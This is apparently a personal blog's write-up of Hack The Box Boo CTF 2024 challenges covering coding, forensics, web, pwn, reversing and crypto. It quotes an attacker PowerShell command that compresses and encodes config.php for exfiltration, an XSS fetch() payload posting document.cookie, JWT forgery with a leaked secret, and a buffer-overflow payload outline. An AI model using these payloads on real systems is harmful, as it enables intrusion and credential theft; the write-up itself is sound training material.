Featured image of post Boo CTF 2024

Boo CTF 2024

Boo CTF From Hack The Box

Challenge 1: Replacement

  • Category: Coding
  • Points: 850
  • Description: The challenge requires participants to take a string, a letter within that string, and a random letter. The goal is to replace all instances of the specified letter with the new letter provided.

Solution

1
2
3
4
5
6
7
8
9
text = input()  # Input the original string
replace = input()  # Input the letter to be replaced
replaceWith = input()  # Input the letter to replace with

# Calculate answer
text = text.replace(replace, replaceWith)

# Print answer
print(text)  # Output the modified string

Challenge 2: MiniMax

  • Category: Coding
  • Points: 850
  • Description: Identify the minimum and maximum numbers from a list of intercepted codes, as they represent coordinates for a potential attack location.

Solution

  1. Code Implementation:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
numbers = input().split(" ")  

_min = float(numbers[0])  
_max = float(numbers[0])  

for _n in numbers:  
    n = float(_n)  
    if n > _max:  
        _max = n  
    if n < _min:  
        _min = n  

print(_min)  
print(_max)  

Challenge 3: Ghostly Persistence

  • Category: Forensics
  • Points: 925
  • Description: Analyze a provided ZIP file containing .evtx files to uncover suspicious activities related to PowerShell and retrieve a flag.

Solution

  1. Analysis of .evtx Files:

    • After extracting the ZIP file, I analyzed the .evtx files using evtx_dump.
    • Discovered suspicious activity indicating the download of a PowerShell script.

    Powershell download

  2. Suspicious Command:

    • Found a base64-encoded PowerShell command within the logs. Decoding it revealed part of the flag.

    • Base64 Command:

      • First flag part
  3. Flag Recovery:

    • Towards the end of the logs, I encountered another base64-encoded string containing the second part of the flag.

    • Base64 Command:

      • Second flag part
  4. Final Flags:

    • Combining the two decoded segments, I retrieved the full flag

Challenge 4: Foggy Intrusion

  • Category: Forensics
  • Points: 925
  • Description: Analyze a provided .pcap file to identify HTTP requests containing malicious base64-encoded commands executed by PHP. Retrieve flags and relevant commands.

Solution

  1. PCAP File Analysis:

    • After opening the .pcap file with Wireshark, I filtered for HTTP requests to identify suspicious traffic.
    • Noticed several HTTP requests containing base64-encoded commands, indicating potential malicious activities.
  2. Base64 and Deflate Encoding:

    • Some requests included commands that listed files or directories, which were then compressed using Deflate and encoded with base64.
    • Decoding the base64 strings revealed malicious PowerShell commands that executed on the server.
    1
    2
    3
    4
    5
    6
    7
    
    powershell.exe -C "$output = Get-Content -Path C:\xampp\htdocs\config.php; 
    $bytes = [Text.Encoding]::UTF8.GetBytes($output); 
    $compressedStream = [System.IO.MemoryStream]::new(); 
    $compressor = [System.IO.Compression.DeflateStream]::new($compressedStream, [System.IO.Compression.CompressionMode]::Compress); 
    $compressor.Write($bytes, 0, $bytes.Length); $compressor.Close(); 
    $compressedBytes = $compressedStream.ToArray(); 
    [Convert]::ToBase64String($compressedBytes)"
    
  3. Flag Recovery:

    • Decoding and decompressing many of the encoded content that the server responded, we get the flag.

    • Flags:

      Flag request

      Flag decoded

Challenge 5: Cursed Stale Policy

  • Category: Web
  • Points: 975
  • Description: Using the provided IP of a web application that tests Content Security Policy (CSP), analyze the source code to extract a flag stored in a cookie. The challenge involves XSS exploitation through WebSocket interactions.

Solution

  1. Source Code Analysis:

    • Upon reviewing the source code provided, I identified that the flag was stored in a cookie set by a bot simulating XSS behavior.

    XSS Bot

  2. WebSocket Interaction:

    • The application was intentionally designed to allow XSS injection. However, by focusing on the /csp-report endpoint and the results from the WebSocket’s update_violations, I discovered that I could read the data I sent to /csp-report. This allowed me to capture sensitive information.

    XSS Call

  3. Cookie Extraction:

    • I leveraged the WebSocket connection to inject JavaScript that sent my cookie data to the /csp-report endpoint. The following script, executed in the context of the page with the correct nonce, captured the cookie containing the flag:
    1
    2
    3
    4
    5
    
    fetch('http://127.0.0.1:8000/csp-report', {
        method: 'POST',
        headers: {'Content-Type': 'application/csp-report'},
        body: JSON.stringify({cookie: document.cookie})
    });
    
  4. Flag Retrieval:

    • Executing the above script successfully sent the cookie containing the flag to the server, allowing me to retrieve it.

    Flag retrieval

Challenge 6: WitchWay

  • Category: Web
  • Points: 925
  • Description: By analyzing the web application’s code, I discovered that an “admin” user could access tickets containing the flag. The challenge involved manipulating the JWT session token to gain access.

Solution

  1. Code Analysis:

    • Upon exploring the web code, I found a route for /tickets that checks for a session token and only allows access to users with “admin” privileges. Here’s the critical part of the code:
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    
    router.get("/tickets", async (req, res) => {
      const sessionToken = req.cookies.session_token;
    
      if (!sessionToken) {
        return res.status(401).json(response("No session token provided"));
      }
    
      try {
        const username = getUsernameFromToken(sessionToken);
    
        if (username === "admin") {
          const tickets = await db.get_tickets();
          return res.status(200).json({ tickets });
        } else {
          return res.status(403).json(response("Access denied. Admin privileges required."));
        }
      } catch (err) {
        return res.status(400).json(response(err.message));
      }
    });
    
  2. JWT Token Generation:

    • I noticed that the application provided client-side JavaScript code to generate the JWT token using a known secret. This allowed me to forge a new token with the username set to “admin”.
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    
     async function generateJWT() {
         const existingToken = getCookie("session_token");
    
         if (existingToken) {
             console.log("Session token already exists:", existingToken);
             return;
         }
    
         const randomNumber = Math.floor(Math.random() * 10000);
         const guestUsername = "guest_" + randomNumber;
    
         const header = {
             alg: "HS256",
             typ: "JWT",
         };
    
         const payload = {
             username: guestUsername,
             iat: Math.floor(Date.now() / 1000),
         };
    
         const secretKey = await crypto.subtle.importKey(
             "raw",
             new TextEncoder().encode("[REDACTED]"),
             { name: "HMAC", hash: "SHA-256" },
             false,
             ["sign"],
         );
    
         const headerBase64 = btoa(JSON.stringify(header))
             .replace(/\+/g, "-")
             .replace(/\//g, "_")
             .replace(/=+$/, "");
         const payloadBase64 = btoa(JSON.stringify(payload))
             .replace(/\+/g, "-")
             .replace(/\//g, "_")
             .replace(/=+$/, "");
    
         const dataToSign = `${headerBase64}.${payloadBase64}`;
         const signatureArrayBuffer = await crypto.subtle.sign(
             { name: "HMAC" },
             secretKey,
             new TextEncoder().encode(dataToSign),
         );
    
         const signatureBase64 = btoa(
             String.fromCharCode.apply(
                 null,
                 new Uint8Array(signatureArrayBuffer),
             ),
         )
             .replace(/\+/g, "-")
             .replace(/\//g, "_")
             .replace(/=+$/, "");
    
         const token = `${dataToSign}.${signatureBase64}`;
    
         document.cookie = `session_token=${token}; path=/; max-age=${60 * 60 * 24}; Secure`;
    
         console.log("Generated JWT Session Token:", token);
     }
    
  3. Token Forging:

    • Using the JWT format and the secret from the JavaScript code, I created a new token that granted admin privileges. This enabled me to bypass the authorization check.
  4. Flag Retrieval:

    • With the forged token, I accessed the /tickets endpoint, which returned a ticket containing the flag. [Include an image of the ticket or flag if applicable.]

    Flag

Challenge 7: El Pipo

  • Category: Pwn
  • Points: 900
  • Description: A binary is provided, along with an accessible IP address. The challenge involves exploiting a potential buffer overflow vulnerability to retrieve a flag.

Solution

  1. Binary Analysis:

    • After downloading the provided binary, I analyzed it using binaryninja. I identified that the binary prompts the user for a word, with a note suggesting multiple inputs are accepted but not too many.

    Code Image

  2. Identifying Vulnerability:

    • In reviewing the code, I found a overflow vulnerability that could allow for an overflow, potentially leading to a flag leak.
  3. Flag Retrieval:

    • Just entering a good amount of characters on the input revealed the flag.

Challenge 8: El Mundo

  • Category: Pwn
  • Points: 925
  • Description: The challenge provides a Python script designed to exploit a binary called el_mundo. The task is to determine the correct address and buffer size to retrieve a flag.

Solution

  1. Script Overview:

    • The provided script uses the pwntools library to either run the binary locally or connect to a remote server. The key parts of the script are defined at the top, including the buffer size and the address to read the flag.
    1
    2
    
    nbytes = 56             # CHANGE THIS TO THE RIGHT AMOUNT
    read_flag_addr = 0x0004016b7 # ADD THE CORRECT ADDRESS
    
  2. Binary Analysis:

    • Using Binary Ninja, I reverse-engineered the el_mundo binary to locate the read_flag_addr. This involved checking the functions and examining the control flow to identify where the flag is stored and how it can be accessed.

    Binary Analysis Image

  3. Finding Buffer Size:

    • I focused on the function that handles user input to determine how much data could be sent before causing a buffer overflow. By analyzing the stack layout, I confirmed that nbytes needed to be adjusted to the correct size.
  4. Payload Construction:

    • Once I identified the correct values for nbytes and read_flag_addr, I constructed the payload to exploit the binary. The payload consisted of padding (b'A'*nbytes) followed by the address to execute.
  5. Flag Retrieval:

    • After running the script with the correct parameters, I successfully retrieved the flag by executing the command cat flag*.

Challenge 9: LinkHands

  • Category: Reversing
  • Points: 925
  • Description: A binary is provided. The task is to reverse-engineer the binary to extract a flag.

Solution

  1. Binary Analysis:

    • I opened the provided binary in Binary Ninja. The main function revealed a structure for reading user input and parsing it for two pointers.
    1
    2
    3
    4
    
    00401196  int32_t main(int32_t argc, char** argv, char** envp)
    004011cb      fgets(buf: &var_58, n: 0x40, fp: stdin)
    00401206      if (__isoc99_sscanf(s: &var_58, format: "%p %p", &var_68, &var_60) != 2)
    00401211          *var_68 = var_60
    
  2. Input Parsing:

    • The binary uses fgets to read input into var_58, followed by a check using sscanf to parse two pointers. If the input does not meet the criteria, it outputs an error message.
  3. Flag Structure:

    • Diving deeper into the code, I discovered the flag structure located near data_404190, specifically within the address range 0x404040-0x4042b0.

    Flag Structure Image

  4. Flag Extraction:

    • I extracted the characters from the identified flag structure in the correct order and submitted them as the flag.

Challenge 10: Terrorfryer

  • Category: Reversing
  • Points: 950
  • Description: A binary is provided that prompts for a recipe and checks it against a hardcoded expected value.

Solution

  1. Binary Analysis:

    • The main function begins by requesting user input for a recipe and then processes it using the fryer function.
    1
    2
    3
    4
    5
    
    00001248      void* fsbase
    00001279      printf(format: "Please enter your recipe for fry…")
    00001293      fgets(&buf, n: 0x40, fp: stdin)
    000012b0      fryer(&buf)
    000012ce      if (strcmp("1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB", &buf) == 0)
    
  2. Fryer Function:

    • The fryer function appears to shuffle the input string based on a seed value. The transformation relies on randomness, making it challenging to reverse directly.
    1
    2
    3
    
    000011b9  uint64_t fryer(char* arg1)
    000011e4      uint64_t result = strlen(arg1)
    00001241      return result
    
  3. Reverse Engineering:

    • I attempted to reverse the shuffling process of the fryer function. While I couldn’t find the exact inverse of the shuffling process, I realized that using a unique ordered string resulted in predictable variations.
  4. Using Python to Solve:

    • Given a known flag structure and using the shuffled flag from the program, I created a Python script to determine the original flag by correlating the shuffled and unshuffled characters.

    Shuffled flag in binary

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    originalSample = list("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKL")
    resultSample = list("JpxBLqdDfz1a3bEik0sIwmjoyK4e9A62Ggc8C7rnHt5uhvlF")
    unshuffle = list("1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3")
    result = []
    
    for c in originalSample:
        si = resultSample.index(c)
        result.append(unshuffle[si])
    
    print(''.join(result))
    
  5. Output:

    • Running the script provided the correct flag, which was accepted by the challenge.

Challenge 11: Hybrid Unifier

Points: 975
Category: Crypto
Description: In this challenge, you must interact with a web API using the Diffie-Hellman protocol to establish a secure session and retrieve a secret flag. You’ll request session parameters, generate a public key, decrypt a challenge, and send the appropriate response to access the flag.

Solution

  1. Request Session Parameters
    Call the endpoint /api/request-session-parameters to obtain the values of g and p from the server.

  2. Generate Client Public Key
    Generate the client’s public key using the following code:

    1
    2
    3
    4
    
    # Generate a random and secret client private key
    client_private_key = 32
    client_public_key = pow(g, client_private_key, p)  # Calculate client's public key
    print(client_public_key)
    

    Send the client_public_key to the server via the endpoint /api/init-session.

  3. Request Encrypted Challenge
    After initializing the session, make a request to /api/request-challenge to receive the encrypted challenge.

  4. Decrypt Challenge and Send Request for Flag
    Use the existing decryption code to decrypt the challenge, compute its hash, and send the hash along with an encrypted packet requesting the flag to the endpoint /api/dashboard, also, encrypt the packet requesting the flag

    Api request

    Challenge decryption code

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    ...
     def decrypt_challenge(session_key, encrypted_challenge):
         encrypted_data = bd(encrypted_challenge)
         iv = encrypted_data[:16]
         encrypted_challenge_data = encrypted_data[16:]
         cipher = AES.new(session_key, AES.MODE_CBC, iv)
         decrypted_challenge = unpad(cipher.decrypt(encrypted_challenge_data), 16)
         return decrypted_challenge
     ...
     decrypted_challenge = decrypt_challenge(session_key, encrypted_challenge)
     challenge_hash = sha256(decrypted_challenge).hexdigest()
    
  5. Decrypt the received packet

Flag packet decryption

Packet encryption/decryption code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 def encrypt_packet(session_key, packet):
     iv = os.urandom(16)
     cipher = AES.new(session_key, AES.MODE_CBC, iv)
     encrypted_packet = iv + cipher.encrypt(pad(packet.encode(), 16))
     return be(encrypted_packet).decode()

 def decrypt_packet(session_key, packet):
     decoded_packet = bd(packet.encode())
     iv = decoded_packet[:16]
     encrypted_packet = decoded_packet[16:]
     cipher = AES.new(session_key, AES.MODE_CBC, iv)
     try:
         decrypted_packet = unpad(cipher.decrypt(encrypted_packet), 16)
         packet_data = decrypted_packet.decode()
     except:
         return {'error': 'Malformed packet.'}

     return {'packet_data': packet_data}

Challenge 10: Binary Basis

Points: 925
Category: Crypto
Description: In this challenge, a code snippet generates a RSA encryption using 16 random 128-bit primes. The challenge involves retrieving the flag from the encrypted message. The output contains the values of \( n \), \( e \), \( c \), and a specially calculated value called treat.

Steps to Solve:

  1. Obtain Values: Extract \( n \), \( e \), \( c \), and treat from the provided output.

  2. Reverse Engineering Primes:

    • Calculate the contributions of the 16 primes based on the treat value.
    • Use the formula: \[ \text{prime}_i = \frac{\text{residual}}{2^{(4919 - 158 \cdot (2i + 1))}} \]
    • Adjust the residual as primes are extracted to ensure all primes are valid 128-bit integers.
  3. Reconstruct RSA Parameters:

    • Calculate \( n \) as the product of the extracted primes.
    • Compute \( \phi(n) \) using \( \phi(n) = \prod (p - 1) \) for each prime \( p \).
    • Find the modular inverse \( d \) of \( e \) with respect to \( \phi(n) \).
  4. Decrypt the Message:

    • Use the equation \( m = c^d \mod n \) to retrieve the original message.
    • Convert the resulting integer back to bytes to obtain the flag.

Final Code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from math import prod
from sympy import mod_inverse

treat = 33826299692206056532121791830179921422706114758529525220793629816156072250638811879097072208672826369710139141314323340868249218138311919342795011985307401396584742792889745481236951845524443087508961941376221503463082988824380033699922510231682106539670992608869544016935962884949065959780503238357140566278743227638905174072222417393094469815315554490106734525135226780778060506556705712260618278949198314874956096334168056169728142790865790971422951014918821304222834793054141263994367399532134580599152390531190762171297276760172765312401308121618180252841520149575913572694909728162718121046171285288877325684172770961191945212724710898385612559744355792868434329934323139523576332844391818557784939344717350486721127766638540535485882877859159035943771015156857329402980925114285187490669443939544936816810818576838741436984740586203271458477806641543777519866403816491051725315688742866428609979426437598677570710511190945840382014439636022928429437759136895283286032849032733562647559199731329030370747706124467405783231820767958600997324346224780651343241077542679906436580242223756092037221773830775592945310048874859407128884997997578209245473436307118716349999654085689760755615306401076081352665726896984825806048871507798497357305218710864342463697957874170367256092701115428776435510032208152373905572188998888018909750348534427300919509022067860128935908982044346555420410103019344730263483437408060519519786509311912519598116729716340850428481288557035520
c = 258206881010783673911167466000280032795683256029763436680006622591510588918759130811946207631182438160709738478509009433281405324151571687747659548241818716696653056289850196958534459294164815332592660911913191207071388553888518272867349215700683577256834382234245920425864363336747159543998275474563924447347966831125304800467864963035047640304142347346869249672601692570499205877959815675295744402001770941573132409180803840430795486050521073880320327660906807950574784085077258320130967850657530500427937063971092564603795987017558962071435702640860939625245936551953348307195766440430944812377541224555649965224
e = 65537

primes = []
potencias = [2**(0x1337 - 158*(2*i + 1)) for i in range(16)]
residuo = treat

for i in range(16):
    prime_i = residuo // potencias[i]
    if prime_i.bit_length() <= 128:
        primes.append(prime_i)
    residuo -= prime_i * potencias[i]

n = prod(primes)
phi_n = prod([p - 1 for p in primes])
d = mod_inverse(e, phi_n)
m = pow(c, d, n)
mensaje_original = long_to_bytes(m)

print(mensaje_original.decode())

Flag: The original message (flag) is extracted and displayed.

1
2
❯ python3 calculate.py
HTB{hiding_primes_in_powers_of_two_like_an_amateur}
⌨️ with ❤️ by Javiito32 😄
Built with Hugo
Theme Stack designed by Jimmy